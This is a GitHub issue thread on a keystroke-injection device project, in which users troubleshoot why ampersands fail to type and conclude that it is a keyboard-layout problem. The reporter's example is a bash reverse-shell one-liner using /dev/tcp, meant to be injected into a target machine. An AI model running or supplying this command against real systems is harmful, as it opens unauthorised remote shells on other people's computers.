spacehuhn / wifi_ducky

Upload, save and run keystroke injection payloads with an ESP8266 + ATMEGA32U4
MIT License
1.26k stars 295 forks source link

ampersand ? #36

Open beamzer opened 7 years ago

beamzer commented 7 years ago

It looks like the use of ampersand (&) is not supported? On the Rubber Ducky it works as expected when you use it after STRING, even though it's not mentioned in the wiki as a possible character to use.

For instance, to get a reverse shell on Mac or Linux: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 &

But with this code it doesn't come through?

supersjimmie commented 7 years ago

On the "normal" keyboard of the target computer, is the ampersand the Shift-7 key?

spacehuhn commented 7 years ago

Yep. SHIFT 7 should do the trick.

supersjimmie commented 7 years ago

I mean: on the @beamzer computer where it's not working, what keyboard is configured/used there.